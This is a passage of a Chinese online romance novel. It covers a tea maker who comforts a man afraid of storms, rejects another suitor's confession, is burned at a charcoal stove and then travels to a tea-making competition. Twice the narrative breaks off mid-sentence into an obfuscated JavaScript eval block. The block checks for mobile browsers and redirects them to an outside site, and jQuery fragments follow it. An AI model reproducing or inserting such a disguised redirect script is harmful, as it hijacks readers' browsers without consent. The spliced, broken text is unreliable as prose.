男人闻言转过身来,看到是楚韫后,眼里闪过一丝惊讶。随即他下意识地笑了笑,虽然在黑暗的环境中对方看不到。 “来喝水吗?” 楚韫“嗯”了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383305|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,走过去倒了杯水,喝完才问他:“工作处理完了?” 傅砚珩停顿了一下才回答:“嗯。” 那种不对劲的感觉又浮上来了,楚韫握着玻璃杯没说话,目光落在傅砚珩的脸上。黑暗模糊了对方的眉眼,但他还是能依稀看出对方紧绷的下颌线。 细节连缀成串,楚韫忽然开口:“傅砚珩,出了什么事吗?” 这回沉默的人变成了傅砚珩。也就是在这个时候,楚韫才突然发觉,对方的呼吸声似乎也比以往要沉重。 “今天吃完饭的时候我就感觉你不对劲了,以往你虽然话不多,却不是完全缄默不言的人。” “还有现在,”楚韫轻声说:“你看起来很紧张,不像我认识的那个面对任何事都游刃有余的傅砚珩。” “所以,发生了什么事?” 说完这句话,楚韫才猛然意识到自己越界了。他们这样脆弱的合作关系,只适合蜻蜓点水的点头微笑,不应该刨根问底地探究求问。他几乎是要懊恼地再说些什么,就听见傅砚珩回答道:“我只是……有点害怕。” 害怕? 怕什么? 这是一个完全意料之外的答案,楚韫听见自己愕然的声音:“……什么?” 硕大的雨珠噼里啪啦地打在厨房的窗户上,蜿蜒下一道道交错杂乱的水痕,像是凌乱不堪的伤痕。 傅砚珩自嘲般地笑了笑,缓慢地问道:“我害怕下雨天,是不是听起来很不可思议?” 视觉上的黑暗会让其它的感官被无限放大,比如现在,楚韫就从这句话里听出了淡淡的厌弃。 他不知道这是为什么,但如果追问会使对方想起一些痛苦的回忆,那么不如到此为止。 于是他回答道:“没有。其实我也不喜欢下雨天,因为一些事情。” 楚韫踌躇了一下,还是抬起手,很轻地拍了拍傅砚珩的后背,说道:“但是傅砚珩,我是人,你也是人,是人就有弱点和软肋,没有人能例外。” “虽然我不知道你是因为什么讨厌下雨天,但有一点我可以肯定,你不需要因为自己的弱点而厌弃自己。” 傅砚珩感受着对方在自己背脊上留下的触感,虽然稍纵即逝,却和他那些安慰的话语一样,让他眷恋和沉迷。 这是第一次,有人告诉他:他是人,可以拥有自己的弱点。 这也是第一次,有人闯进他阴暗潮湿的灵魂角落,为淋雨的他打了一把伞,虽然对方可能还身在雨中。 傅砚珩闭了闭眼,随即低下头,这样的姿势使得他和楚韫的距离一下子变得很近,近到像是情人间的暧昧私语:“……好。” 窗外一道闪电撕破天际,霎时间映亮了厨房这小小一隅,雪亮的白光落在楚韫的瞳孔里。 今夜无月,但对方眼里盛着清辉。 傅砚珩喉结上下滑动了一下,然后露出了一个很轻的微笑:“谢谢你,楚韫。” 楚韫能明显感受到,面前的人又变回了原先的镇定沉着,好像刚才的脆弱和不安都是他的幻觉。但对方眼里翻涌着的、他看不懂的情绪又在提醒他,他们之间似乎有什么不一样了。 傅砚珩指尖拂过楚韫的睡衣领口,抚平了上面的褶皱。 “很晚了,回去睡觉吧。”他说,“希望我们今晚都能有个好梦。” 19. 烫伤 也许是厨房里的插曲让他暂时忘记了那些痛苦的回忆,也许是傅砚珩的祝福起了作用,楚韫再次躺到床上的时候,很快就陷入了宁静的梦乡。 这一觉就睡到了第二天上午。 等到楚韫洗漱完下楼的时候,就看到大家都围坐在餐桌边,桌上已经摆满了丰盛的早餐。他心里奇怪这种情况下陆俨怎么没去叫他:“抱歉,让大家等我了。” 陆俨端出楚韫的那份南瓜粥,笑道:“我本来打算去叫您的,但是傅先生说昨晚下雨打雷,您可能没睡好,我就没敲门。” 楚韫闻言看向傅砚珩,对方依旧穿着昨天的那件黑色衬衫,不能说是神清气爽,看起来也是神色如常,昨晚回去后应该是睡了个好觉。 自己的开导起了作用,楚韫微微放下了心。 “楚韫,你怎么突然笑了?” 自从楚韫下楼,江祈年的目光就几乎没离开过他身上,自然不会错过他脸上每一个细小的表情。可能连楚韫自己都没意识到,此时的他带着刚刚睡醒的餍足和慵懒,那双墨黑的眼睛像是盈了一汪水,让人心旌摇曳。 楚韫正用勺子搅着碗里的粥,闻言愣了一下,觉得有些莫名其妙:“有吗?” 江祈年刚想说话,就听傅砚珩说道:“食不言寝不语,你话怎么这么多。” 江祈年瞬间哑火,他们几个人里说话最好使的就是傅砚珩,对方不苟言笑时的冷漠锋利足以让所有人望而生畏,连他们几个发小也不例外。 傅砚珩看了一眼窗外雨过天晴的景色,问道:“维修队今天能上山吗?” 江祈年回答:“我早上给他们打过电话了,昨晚雨下得太大,有一段上山的路坍塌了,虽然正在抢修,但估计也得等到明天。” 说完,他抱歉地看向楚韫:“这样的话,可能还要在你这里打扰一天。” 他义正言辞地说:“不过你放心,有什么活都交给我们干!” 楚韫心想,这话你应该对陆俨说,因为这别墅里的家务百分之八十都是他干的。 . 多亏了昨天楚韫的那通电话,农户们有足够的时间在暴风雨来临前对茶园做好防护,但饶是如此,还是有很多茶树的枝条被折断,更有甚者直接被连根拔起。 楚韫虽然心疼,但也无可奈何,没办法,遇到天灾就是这样,能尽力降低损失已经很好了。 吃完早饭后,他就去了后院继续焙茶。方施廷和彭宗甯在屋里帮着陆俨刷碗,江祈年跟着楚韫去了后院,傅砚珩本来也想去的,但公司临时有个收尾会议要开,只好留在房间里。 虽然昨夜下了雨,但毕竟已经到了夏天,太阳一出来就立马让人感觉到炎热。楚韫递给江祈年一个口罩,他自己的半张脸已经被笼罩在口罩之下,声音听起来闷闷的:“戴上,一会烧炭的时候有烟,对肺不好。” 江祈年听话地戴上了口罩,蹲在楚韫旁边,好奇地问道:“既然烧炭有烟,为什么不用其它方式?” 楚韫已经开始生火打灰,把手放在烧红的炭上感受温度,闻言淡淡地说:“其实还可以电烘。但炭烘会让茶叶受热更均匀,烘得更彻底。” 江祈年“哦”了一声,安静地没再出声,视线在炭盆上和楚韫脸上来回穿梭。不知过了多久,他终于开口,像是下定了某种决心,语气却很轻:“楚韫。” “怎么了?” 感觉温度差不多了,楚韫把竹笼摆到炭盆上,然后用手背贴近笼子不断测试着温度。他一颗心都扑在焙茶上,连回答都是随意的。 江祈年张了张嘴,语气有些滞涩,又带了些微不可察的紧张:“你……应该能感觉出来吧。” 接下来就是看着火力和温度了,楚韫终于分出一点神来,稍微细想一下,立刻就明白了江祈年接下来要说什么。 他神色有些复杂,又带了点无奈,但更多的是一种近乎冷漠的无动于衷:“你喜欢我,是吗?” 江祈年没想到对方就这么直白地说出来了,定了定神才忐忑地说:“……对,我当初第一次见到你的时候就对你有好感了。” 是因为这副皮囊吧。 楚韫勾了勾唇角,刚要露出一个讥讽的笑,就听对方接着说道:“你可能已经不记得了,去年冬天的时候,在醉月兰亭门口,你买走了一个老奶奶所有的玫瑰花。” 楚韫愣住了,这件事他模模糊糊有点印象,当时他拜托梁淮查的事情有了眉目,便在醉月兰亭请对方吃了顿饭。两人刚从餐厅出来,就看见有个老奶奶正在餐厅门口的路边上卖花。选在这个地段,目标群体自然都是在身后这家高档餐厅消费的顾客。但那个老奶奶的玫瑰花品相有点差,而且只有单一的红玫瑰,因此桶里还剩下满满一大把没卖出去。 S市的冬天虽然很少下雪,但北风刮起来也是刺骨的寒凉。楚韫见那个老奶奶佝偻着腰背,脸和耳朵都被冻得通红,便走过去把她手里的玫瑰花全都买下来了,当时梁淮还和他开玩笑是哪个心上人这么有福气,能收到这么多红玫瑰。 江祈年专注地注视着楚韫,好像是在回忆第一次见到他的场景:“当时我出来接了个电话,就看到那个老奶奶高兴得合不拢嘴,把那一大束玫瑰花认认真真地包起来递给你,然后才骑着三轮车离开。” 其实那天他刚刚应付完一群如狼似虎的投资商,酒桌上的每一次觥筹交错都暗藏机锋,他实在是很疲惫,又有些焦头烂额,就想借着接电话的功夫出来喘口气,然后就看到了这一幕。 路灯暖黄的灯光照在楚韫的脸上,像是电影里才会出现的画面。他怀里抱着一束和人差不多大的红玫瑰,看起来有点滑稽,又莫名让人心动。 “你知道吗,我当时就在想,怎么会有人那么善良——”江祈年说着说着,声音渐渐小了下去:“长得还好看。” “……” 说不上来是什么感觉,可能是觉得好笑,但更多的应该是一种复杂的情绪。楚韫抬眼迎上江祈年的目光,片刻后才说:“你错了,我不善良。” 他长睫轻颤,在眼下投下一片阴影:“你没有真正了解我,也从未见过我真正的阴暗面,你所看到的我,只是阳光下的一片衣角。” “所以,”楚韫扯了扯嘴角,露出淡淡的微笑,里面有些东西决然不可撼动:“我不认为这样的感情能称得上是喜欢,而且说实话,我对你没感觉。” “……” 虽然已经预料到大概率会是这种结果,但江祈年还是感觉心中酸涩,他张了张口,声音沙哑:“我知道了。” 楚韫点点头,看时间差不多了,便将这笼茶搬到旁边的干净桌面上,倒进大竹筐中,提起垫布,翻面抚平后重新提回笼上,继续炭烘。 江祈年见炭炉里的火势小了下去,主动提出:“楚韫,我帮你添些炭吧。” 对方拒绝得干脆,江祈年苦笑道:“就当是朋友间的帮忙,别再拒绝我了。” 楚韫没辙,只好说:“加一块就好。” 江祈年闻言拿起炭夹,往炉中加了块新炭。然而就在新炭投入的瞬间,炉内突然窜起一团火苗,带着火星的炭灰四处飞溅。江祈年本来有些心不在焉,下意识抬手遮挡,手中的炭夹却不慎滑落,直直朝着他的脚背砸去! 楚韫几乎是在同一时间反应过来,他一把推开江祈年,用自己的手臂挡住了坠落的炭夹,灼热的金属瞬间烫得他闷哼出声! “楚韫!” 坐在地上的江祈年惊恐地看着楚韫手臂上迅速浮现的烫伤痕迹,声音都在颤抖,立刻惊呼着就要起身去查看他的伤势。 楚韫疼得脸色发白,却还强撑着将滑落的炭夹踢到一旁。他声音微颤:“快去找陆俨要碘伏和莫匹罗星,我得在这看着炭炉。” 江祈年眼睛都红了,失魂落魄地说了声“好”,便急匆匆地往别墅里跑。 . 傅砚珩刚刚结束会议下楼,就看见江祈年一脸惊慌失措地冲了进来,抓住正在擦家具的陆俨问道:“碘伏和莫匹罗星在哪?” 陆俨被他这幅样子吓到了,停顿了几秒才说:“我去给你拿,怎么了?” 傅砚珩皱起眉头,心里浮现出一个不好的预感。果然,下一秒就听江祈年说:“楚韫被炭夹烫伤了。” 陆俨大惊失色,以百米冲刺的速度跑进房间,迅速翻出药品和纱布,就要跟着江祈年一起去看看情况。结果门口站着的人拦住了他们:“给我吧,我去。” 傅砚珩淡淡地看了江祈年一眼,话却是对着陆俨说的:“去那么多人也没有意义,我有处理伤口的经验。” 说完,他几乎没给两人反应的时间,夺过陆俨手里的东西就大步向外走去。 留在原地的陆俨镇定下来,逐渐觉出点不对劲来:楚韫一向最为细致小心,怎么会突然被炭夹烫伤? 他偷偷看了一眼江祈年,对方脸色灰败,看起来充满了痛苦和自责,于是陆俨瞬间就明白了几分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383306|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而比起追究责任,现在他更加担心的是伤口会不会影响楚韫的茶叶制作,毕竟这次的成品是要交到GLGA组委会的。 仿佛听到了陆俨波澜起伏的心声,窗外几片树叶被风吹落枝头,打着旋飘飘荡荡,最终落在了后院里。 余光瞥见了落在他身边的那几片树叶,楚韫没有多加理会,而是试图将全部注意力集中在面前的炭炉上。然而烫伤处剧烈的疼痛简直令人无法忽视,他咬紧了齿关,下颌绷紧,默默忍受着皮肉上的痛苦。 身后凌乱的脚步声传来,楚韫刚想说话,就听来人问道:“烫到哪了?我看看。” 楚韫以为自己疼出幻觉了,紧接着,他的左臂就被人轻柔地抬起,放在了一条半跪着的腿上。 傅砚珩端详了一下创面,表皮红肿,像是被点燃的薄纸,腾起一片红,但幸好没有起水泡。 他问道:“用凉水冲洗了吗?” 楚韫摇头,声音有些沙哑:“我实在是走不开,这一步离不了人。” 傅砚珩面色很沉,一双深若寒潭的眼睛注视着楚韫:“楚韫,你的身体比什么都重要。一笼茶坏了可以再做,但你要是受伤了,短时间内可能就再也碰不了这些了。” 楚韫额角的汗水顺着苍白的脸颊淌下,没进了白色亚麻衬衫的领口。道理他都懂,但是他总觉得自己可以坚持一下。 他动了动嘴唇,轻声说了句“抱歉”。 虽然话是这么说,但傅砚珩上药的动作却是轻柔到小心翼翼的程度。他先拿碘伏清理了一下创面,然后再用棉签蘸了一点药膏,轻轻地涂抹在红肿处。 清凉的触感缓解了烫伤处的灼热,却让楚韫更加无法集中精力。 楚韫拨开炭灰,让氧气更多地进入,火苗瞬间变大了些。做完这些,他静静地看向傅砚珩,男人一直保持着一个半跪着的姿势,眼帘低垂,神情专注地用那根棉签拂过伤口的每一处。察觉到楚韫的视线,他说道:“我刚才态度不太好,向你道歉。但希望你爱护身体,这点是认真的。” 炭炉里的火苗发出哔哔剥剥的响声,楚韫感受着心脏缓慢而有力的跳动,似乎有什么东西在某个隐秘的角落破土而出。 他是个成年人,知道这意味着什么。就像他刚才拒绝江祈年的理由中,很重要的一条是他对对方没有感觉。而现在,面对着傅砚珩,他却不能再坦然地说出这句话。 傅砚珩也在不动声色地观察着对方,楚韫的目光有些涣散,虽然看着的是他的方向,但明显思绪已经飘荡出去了。 在想什么?和江祈年有关吗? 那处烫伤似乎变成了燎原的大火,从棉签传导到指尖,一路烧进了心里。于是当傅砚珩反应过来的时候,一直徘徊在心里的话就这样被他问出了口:“怎么会突然把自己烫伤了?” 楚韫刚从自己的思绪里抽离,回答道:“江祈年要帮我添炭,结果中间出了点差错……我要是不帮他挡一下的话,他可能现在都没法走路了。” 傅砚珩掩盖住眸中异色,问道:“出了什么差错?可以和我说说吗?” 这句话问得有些步步紧逼的意味,但被温和的语气巧妙地遮掩了过去。不出所料,楚韫的回答很含糊:“可能是他在走神吧。” 这样的态度几乎证实了傅砚珩的猜想,于是他不再掩饰,单刀直入:“江祈年和你表白了,是吗?” 楚韫一僵,墨色瞳孔里满是不可置信:“你怎么……” 傅砚珩笑了笑,知道他想问什么,但是却没有回答,而是问出了那个他最关心的问题:“所以你答应他了吗?” 也许是口罩戴的时间太长了,稀薄的氧气让大脑像一个停滞的机器,无法正常思考。 楚韫缓慢地眨了眨眼,一时没说话,看上去有点呆。是江祈年和他说了吗?还是傅砚珩已经敏锐到这个地步了? 他不知道,他也完全没预料到傅砚珩会问这样的问题。但触及对方的神色,他心里忽然“咯噔”一下—— 在傅砚珩眼里,这好像不是一件茶余饭后的谈资,也不是什么值得揶揄打趣的事情。他是认真地想要知道。 “没有。” 楚韫压下心中的惊疑,下一秒,头顶就被一只手轻轻地揉了揉。 “做得好,”傅砚珩嘴角的笑意像一把钩子,勾得他心痒:“江祈年之前交过四任男朋友,所以不管他看起来多纯情,都别相信他。” “……” 20. 腹肌 楚韫要去第二次翻茶的时候,被傅砚珩制止了。对方的理由很充分,怕他一使劲牵扯到伤口,不利于后续恢复。 楚韫便想叫陆俨过来,但也被傅砚珩拦住了,他注视着楚韫的眼睛里笑意未歇:“给个机会,让我试试?” 这个步骤说难不难,说简单也不简单。但看到傅砚珩卷起袖口露出的那节有力的小臂时,楚韫已经到了嘴边的拒绝突然就说不出口了。 不来做茶可惜了。 楚韫真心实意地在心里感叹道。 傅砚珩说试试,其实还是谦虚了。甚至不需要楚韫上手演示,只需要在旁边口头提点几句,他就能把一笼茶完好地翻动,一点都没有弄到地上。以至于楚韫真诚发问:“……你真的是第一次做这个吗?” 傅砚珩诧异地看他一眼:“怎么?” 楚韫叹气:“小俨练了整整一年,才做到你今天这个地步。” 傅砚珩已经摸索出了里面的诀窍,闻言随口道:“可能是因为我平时有锻炼,臂力和腰腹力量比较好。” 楚韫“嗯”了一声,没把这句话放在心上。 但很快,他就对这句话有了深刻的认识。 . 这天晚饭餐桌上,也许是因为楚韫受伤,也许是因为江祈年一直垂头丧气的,气氛怎么都不太对劲。 方施廷尝试了一下午也没把江祈年的嘴撬开,但直觉告诉他楚韫受伤八成和江祈年有点关系,而且看两人之间若有若无的尴尬气息,中间应该是发生了什么惊天狗血大瓜。 上山的路面已经基本抢修完毕,维修队说明天一早就能上山把车子修好。因为明天还要早起赶路,大家饭后也就没再聚在一起聊天,而是早早地回了各自房间休息。 听到敲门声的时候,楚韫正在给伤口换药,放下手里的棉签就去开了门。 门外的人令他意外了一瞬,但他很快就平静地问道:“有什么事吗?” 江祈年视线下移,落在楚韫刚上过药的伤口处,那里隐隐还能看出一片又红又肿的狰狞。 喉咙像是被一团棉花堵住,难以发出声音,但江祈年还是开口了:“对不起,楚韫。是我害你受伤了。” 楚韫稍稍歪了下头,淡淡地说道:“没事,你不用有心理负担。这件事换做任何一个人,我都不会袖手旁观。” 江祈年哽了一下,有些狼狈地偏过头去。面前的年轻人总能洞察他心里那些隐秘的情感,本来他心里还抱着一丝希望,也许楚韫还是对他有那么一点点喜欢呢?不然为什么下意识帮他挡下了炭夹。 但此时此刻,任何的侥幸都被楚韫亲手掐断了。江祈年勉强地笑了笑:“不管怎么说,还是要谢谢你。时间不早了,我不打扰你休息了。” 说完,他低垂着眉眼转身离开,留下一个落寞的背影。在他身后,楚韫没什么表情地看了两秒,然后果断地回屋、关门。 . 敲门声再次响起的时候,楚韫已经准备上床睡觉了。他下意识以为又是江祈年,皱着眉开了门:“还有事——” 剩下半句话没能说出来,因为门外站着的人是傅砚珩。 对方手里拿着一件浴袍,垂眸看他,立刻说道:“打扰你休息了,很抱歉。” 楚韫从他的反应里也知道自己脸色大概很不好看,有些无奈地摆摆手:“没有,不关你事……怎么了?” 傅砚珩说:“我房间浴室的花洒好像坏了,想借用一下你这里的浴室。” 他揉了揉眉心,看起来有些苦恼:“我刚才给江祈年他们发信息,没一个人理我,可能是都睡了。” 对方已经把话说到这个份上了,楚韫怎么都不好拒绝,更何况借一下浴室,也不是什么大不了的事。 于是他侧过身,让出门口:“进来吧。” . 傅砚珩刚进门的时候就已经把楚韫房间的摆设都扫视了一遍,并且视线在那块纯白色羊毛地毯上多停留了一会——这种毛茸茸的东西看起来和楚韫的风格不太相符。 楚韫在他身后关上门,就听傅砚珩问道:“刚才你以为敲门的是谁?” 楚韫扶额,心想还好江祈年明早就走了,不然他很难忍住不把对方扫地出门:“傅总这么聪明,看我态度也知道了。” 傅砚珩嘴角微弯,但声音听起来还是一本正经:“你拒绝得可能还是不够干脆,对脸皮厚的人就要不留余地。” 楚韫被他的话逗笑了:“没想到你是这样的人。” 傅砚珩惯常锐利的眉眼此刻看起来也柔和了些许,他说:“开心点了吗?” 楚韫愣住,就听他接着说:“刚才在门口就看你脸色不好,知道你是因为这些事情烦心。” “金融圈有一句话,叫‘及时止损是投资的必修课’,就像遇到不良资产要果断出手一样,没必要让这些消耗情绪的人和事留在心里。” 傅砚珩微微低头,俊美的脸凑近了些许:“当然,心情不好可以找我倾诉,总比一个人郁闷要好。” “……” 直到浴室传来哗哗的淋水声,楚韫才回过神来。这是他第一次在这么近的距离正面直视傅砚珩的脸,甚至可以看到男人垂眸说话时长睫在眼睑投下的一小片阴影。 意识到思绪逐渐朝着不可控的方向发展,楚韫选择立刻打住,拿起之前没看完的书给自己找点事干。 . 浴室里的水声停歇,傅砚珩擦干头发,围着浴袍走出来,就看见楚韫已经在躺椅上睡着了。 一本书静静放在他膝头,他的手指还停留在其中一页上,显然是看着看着不小心睡过去的。躺椅旁边的落地灯亮着,暖黄色的灯光落在楚韫脸上,他在睡梦中无意识皱了皱眉头。 见状,傅砚珩轻声走过去关掉了落地灯,目光静静地在楚韫的脸上停留。两人之间的距离很近,傅砚珩甚至能闻到楚韫身上淡淡的沐浴露香味,是茶树香。 而现在,他的身上也有了一模一样的香味。 光线不再那么刺眼,楚韫眉头舒展开来。傅砚珩见过冷漠的他、浑身防备对人疏离的他、害羞到耳朵都红了的他、弯起眼睛向他道谢的他,唯独没见过睡觉时卸下一切的楚韫。 楚韫红润而柔软的双唇动了动,呢喃着说了些什么,傅砚珩没听清,但看他神态,这应该是个美梦。 傅砚珩突然就想到了昨夜的那场暴风雨。他回到房间后还是辗转反侧,哪怕是戴上耳塞,窗外巨大的声音也像是要把他吞噬。最后他实在没办法了,吞了两片安眠药才勉强睡着。 但没关系。傅砚珩的目光一寸寸描摹着楚韫的五官,敛下眼中的情感。 只要面前的人能获得片刻的安宁,就够了。 . “……楚韫,醒醒。” 害怕楚韫睡在这里着凉,傅砚珩思来想去还是打算把他叫醒。 楚韫听见有人叫他,下意识睁开眼睛,然后就迎面看到了一幅极具视觉冲击力的画面—— 因为 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没事的。他告诉自己。他在这方面怎么说也算是经历过大风大浪的人了,从小到大他拒绝过数不清的告白对象,甚至还把变态追求者赶到异国他乡,这些事情他都很好地处理解决了,现在不过是看了会对方的腹肌,算不上什么大事。 他这样自我安慰了一会,才重新进入梦乡。 . 第二天一早,维修队上山修理好了江祈年的那辆SUV,傅砚珩一行人便告别离开了。送走他们,楚韫打了个哈欠,又心情愉悦地回去补了会觉。 等到他再次醒来下楼吃早餐的时候,就看见陆俨坐在餐桌边一脸严肃地看着他,神色之紧绷一度让楚韫以为他要审讯自己,就差两排衙役齐声高喊“威武”了。 果不其然,楚韫刚刚坐下,陆俨就神色复杂地开口了:“师父,我没有冒犯您的意思,但我就是想知道,那位江先生是不是喜欢您啊?” 楚韫尚带着些倦意,闻言掀起眼皮,说道:“你才看出来吗?” 陆俨“啊”的一声,震惊得好几秒都说不出话来:“那那那,他——” 楚韫一口气把他想知道的全回答了:“表白了,没答应,是因为他受的伤,就这样。” 然后在陆俨一脸敬佩的表情中,楚韫淡定自若地开始享用他的早饭。 . 吃完早饭后,楚韫收到了来自傅砚珩的信息: [别忘了换药。] 楚韫拿着莫匹罗星,脸上的表情有些一言难尽。 ……这人是怎么精准掐算到他正要换药的。 [楚韫:知道了,我现在正在换。] 对面很快又发来一条信息: [这两天注意些,伤口不要碰水,也不要吃刺激性的东西。] 楚韫因为今天心情好,有心想捉弄一下他,便回复道: [傅总,这么关心我的伤口,是怕我比赛拿不了名次吗?] 聊天界面安静了很长一段时间,就在楚韫以为对方不会回复了的时候,界面上突然弹出了一条语音。 楚韫有些意外地点开,背景音很吵,但掩盖不了男人的声音:“你觉得呢?” 楚韫揉了揉耳朵,接着打字: [我不知道,所以想请教一下傅总。] 这回还是一个语音条,楚韫倒想听听他还能怎么曲线救国,结果撞入耳膜的是这样一句话: “是想让你们两个人不再有任何瓜葛。” 21. 流言 朱利安的茉莉花按照约定的时间送到了楚韫手里,接下来的一段时间里,楚韫为了制作茉莉花茶忙得昏天黑地,陆俨倒是有心想帮忙,但楚韫这次做的是九窨茉莉花茶,他现在的水平还不够。 期间傅砚珩和他发过几次微信,还打过一次视频电话。当时楚韫正在进行第五次窨制,茶花拌和的时候茉莉花瓣洁白如雨,纷纷落下。傅砚珩看着他的动作,在那边说道:“楚韫,你真是为茉莉花茶而生的。” 楚韫手上动作不停,闻言只是问道:“最近很忙吗?” 傅砚珩顿了下,捏了捏眉心,无奈地说:“这都被你看出来了?” 楚韫“嗯”了一声,声音依旧淡淡:“你疲惫的时候似乎很喜欢看我做和茶叶相关的事。” 手机对面传来抑制不住的低低的笑声,傅砚珩一只手支撑着下颌,叹道:“原来我表现得这么明显。” 楚韫没接话,就听傅砚珩在那边接着说:“不用担心,就是公司的新产品研发遇到了些瓶颈,加上前两天飞了好几个地方出差,时差有点没倒过来。” 楚韫把竹匾送到屋里进行静置窨制,回来才有时间拿起手机:“可惜了,现在我这里全是茉莉花的味道,感觉闻着这样的味道,无论什么时候都能进入梦乡。” “傅总,这是上个季度的财务报表。” 楚韫根据记忆判断出这是闻时的声音。视频里傅砚珩拿过那份薄薄的文件,边看边说:“你这么说,我都想立刻放下手里的工作跑到你那里。” 傅砚珩专注工作的时候有一种别样的吸引力,明明是低敛着眉眼,却更有一种藏在沉稳之下的锐利。 楚韫默不作声地移开了眼,失笑道:“你要这真这么做,亿恒的员工估计要骂死我。” “不会,”傅砚珩说:“他们高兴还来不及。” “……你要是不嫌弃的话,我可以用剩下的茉莉花做一个香囊,放在枕边也能安眠。” 傅砚珩的嘴角隐秘地勾了一下,说道:“会不会太麻烦?你忙着做茶,应该比我更累。” 楚韫摇了摇头:“没事,这个很简单。” 随后,他忽然想起了什么,停顿两秒才说:“还有半个月GLGA就要开赛了,你要来吗?” 楚韫问这话纯粹出于礼貌,毕竟傅砚珩工作有多忙他也是知道的,抽出十天的时间来看一个茶叶比赛根本不可能。 傅砚珩思索了一小会,给出了一个他意料之中的回答:“那几天我要去参加一个投资项目的开幕式。” 之后两人简单聊了两句就挂断了,接下的几天,因为忙碌,两人几乎没怎么交流过。 . 时间飞速流逝,很快就到了临近GLGA开赛的那一天。 今年恰逢GLGA办赛十周年,赛事组委会为了致敬茶叶发源,将本届比赛定在中国举办。 GLGA的赛程主要分成三部分,初赛主要考察的是茶叶制作者的基本功,选手需要通过干茶、汤色、叶底辨别几种混淆茶品的年份、产地、工艺;复赛侧重于检验茶叶制作者的现场实操,晋级者统一进行茶叶炒制,炒出的茶以色、香、味为评判标准。 如果说前两轮比赛看的是一个制茶师的功夫是否到家,那么最后的决赛就体现出GLGA对于创新意识的重视。 十名通过层层考验的茶叶制作者将要在决赛进行现场的茶叶研发,这里面的不确定性就在于,每位选手的制作原料都是由现场抽签决定的,因此最是考验茶叶制作者的临场应变能力。很多人一路过关斩将走到决赛,却在即将成功的那一刻折戟沉沙,不是技术不过关,而是差了些天赋。 而一个制茶师天然的灵性,恰恰是为茶叶注入灵魂的关键。 . 制作好的九窨茉莉花茶已经提前邮寄给了组委会,参赛者要在主办方提供的酒店里住宿。楚韫自己装行李的时候空了半个箱子,陆俨看到了觉得非常不放心,又自作主张地往里添了几条一次性毛巾、一次性床单被罩、各种小面包小蛋糕等等。 楚韫本来想说他也就去一周左右,不用带这么多东西,但陆俨义正言辞地解释道:“您有洁癖,万一之前带的一次性用品弄脏了怎么办,还是多带点好,还有那些吃的是为了防止您吃不惯酒店的三餐——” 楚韫及时制止了他的长篇大论,表示一切听从他的安排,陆俨这才满意地闭了嘴。 ——未来的贤妻良母。 这是楚韫对他这位好徒弟的评价。 贤惠的陆俨不辞辛苦地把楚韫送到了机场,临走时,陆俨双手放在嘴边,大喊道:“师父,我会等着您的好消息的!” 他的声音太大,引得周围的人纷纷投来目光。楚韫无奈地笑了笑,眼里的光却是柔和的,他回头朝陆俨摆了摆手,这才走进了候机大厅。 . 到达A省已经是傍晚,楚韫看了一眼组委会给的酒店地址,报给了出租车的司机师傅。 路程很长,趁着这段时间,楚韫开始在手机上翻看这次比赛的报名表。 报名表是按国籍划分的,欧美国家那几栏只有寥寥几个参赛者,这也正常,毕竟西方国家对于茶叶的喜爱大多是停留在品尝鉴赏,那样的文化土壤很难培养出真正的茶叶制作师。 但有一个人除外。 楚韫的目光在一个名字上停留片刻。 艾略尔特,世界知名的制茶师,一个在中国长大的英国人。他对中国文化抱有浓厚的兴趣,对于茶叶制作的热爱更是到了一种痴迷的程度。他成年后才回到英国,独创的维多利亚红茶融合了中国正山小种和英国接骨木,一度成为西方世界最受欢迎的新式茶种。 楚韫的手指向上滑动,又看到了几个来自印度和日本的制茶师,个个都是茶界的知名人物。他翻到了中国这一栏,看到宋清峦的名字时,连眼睛都没眨一下。 比起宋清峦,他更加关注的是那些难缠的国际选手。 来参加GLGA的大多都是中青选手,上了年纪的大师们往往不再需要通过这样的金字招牌来彰显自己,他们更多选择把机会让给年轻人,因此这样的比赛,大多都是新一代茶叶制作者们的角逐,某种程度上来说也就相对更公平。 出租车从机场一路行驶到邬桥县。邬桥在古代就是茶叶贸易枢纽,产茶历史悠久,历史上曾是茶文化传播中心。可以说,邬桥茶在世界茶叶贸易中都占有举足轻重的地位。 车子停在高耸入云的酒店门口,楚韫愣了一下,随即付钱拿行李下车。 他走进灯火通明的酒店大堂,几个GLGA的工作人员正坐在一张桌子后。楚韫向他们出示了身份证明,工作人员笑眯眯地在名单上画上了他的名字。 大堂里已经聚集了不少参赛选手,正在三五成群地低声交谈,有人脸上尚带着微笑,结果一转头就看见了璀璨灯火下孤身一人的楚韫,愣了两秒,随即意味深长地说道:“这不是当年的天工盏冠军吗?这么多年没露面,我还以为是因为某些事再也不敢出来了。” “啧啧,他怎么好意思啊,俗话说的好,‘上梁不正下梁歪’,有那么一个行为不端的师父,他一个做徒弟的又能好到哪去?” 不知是谁发出哧哧的低笑,上下打量了一下那个身姿挺拔的年轻人:“要我说,当年怎么就没再好好查查呢?再往深里追究一下,没准那个冠军根本就不是他——” “是吗?” 楚韫的头发最近没怎么打理,有些长了,额前几缕碎发微微遮住了眼睛,但并不妨碍那双墨黑的眸子里冰冷摄人的光芒。 他笑了笑,声音不大,却能让所有人听见:“只有阴沟里的老鼠才喜欢窃窃私语,有时间在这里议论长短,不如好好想想怎么用实力说话。” 